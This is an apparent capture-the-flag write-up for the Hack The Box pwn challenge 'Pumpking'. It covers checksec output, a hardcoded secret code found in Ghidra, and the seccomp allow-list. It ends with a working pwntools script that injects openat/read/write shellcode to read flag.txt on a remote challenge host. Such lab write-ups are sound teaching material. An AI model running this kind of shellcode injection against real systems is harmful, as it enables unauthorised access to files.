HTB{f1ght_34ch_3nt1ty_45_4_un10n}

Pwn - Pumpking

Long live the King! Pumpking is the king of our hometown and this time of the year, he makes wishes come true! But, you must be naughty in order to get a wish.. He is like reverse Santa Claus and way cooler!

We have the glibc files and a 64-bit ELF binary.

$ file pumpking                 
pumpking: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=fbd2ae75e4f0a999c62a92360d6a085e30637725, for GNU/Linux 3.2.0, not stripped

We can see that NX is disabled so the stack would be executable.

$ checksec --file=pumpking
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX disabled   PIE enabled     No RPATH   RW-RUNPATH   52 Symbols        No    0               1               pumpking

When we execute the program, it asks for a secret code.

image-20221031000300854

If we open the binary in Ghidra, we can see the secret code.

image-20221031001757871

pumpk1ngRulez

If the secret code matches pumpk1ngRulez, it executes the function king.

In the function king, the program takes 0x95 bytes of user input, and writes it to the stack.

image-20221031002538153

On line # 53, it executes the input stored on the stack as a function. So technically, we can write some shell code there and it would just execute.

However, if you try it with any random shell code, it would fail.

The problem is in the setup function which executes at the very beginning of the main function.

image-20221031003222336

The program is using seccomp (secure computing mode), which is a Linux Kernel feature to prevent random syscalls.

seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a "secure" state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will either just log the event or terminate the process with SIGKILL or SIGSYS. - Wikipedia

However, we see in the setup function that the program uses seccomp_rule_add to explicitly allow some syscalls, where the third parameter is the syscall number to identify the syscall.

By using this table, we can find the allowed syscalls.

So the allowed syscalls are:

These syscalls should be enough to read the flag.

We can use openat to open the flag file, read to read the value, and write to write the value to standard output.

We can use the following pwntools script to generate and send the shellcode.

from pwn import *

# connect to the remote host
connection = remote("159.65.49.148", 31569)

context.update(arch="amd64", log_level="debug")

# wait until we receive the prompt
connection.recvuntil(b": ")

# send secret
connection.sendline(b"pumpk1ngRulez")

# wait until we receive the prompt
connection.recvuntil(b">> ")

# creating shellcode
'''
openat(int fd, const char *path, int flags);
fd = AT_FDCWD // which means currect directory and has an integer value of -100
flags = O_RDONLY // flags can be multiple flags which are OR'd together. We only need O_RDONLY i.e. 0.
'''
shellcode = shellcraft.linux.openat(-100, "flag.txt", 0)
'''
read(int fd, void *buf, size_t count);
fd = rax // The openat syscall will return the file descriptor rax
buf = rsp // We want to write to the stack so rsp (stack pointer) 
count = 100 // Number of bytes we want to read
'''
shellcode += shellcraft.linux.read("rax", "rsp", 100)
'''
write(int fd, const void *buf, size_t count);
fd = 1 // For STDOUT
buf = rsp // Get the value from the stack
count = 100 // Number of bytes to get from the buffer
'''
shellcode += shellcraft.linux.write(1, "rsp", 100)

# send shellcode
connection.sendline(asm(shellcode))

# drop to interactive shell
connection.interactive()

And we get the flag.

image-20221031021710212

HTB{n4ughty_b01z_d0_n0t_f0ll0w_s3cc0mp_rul3z}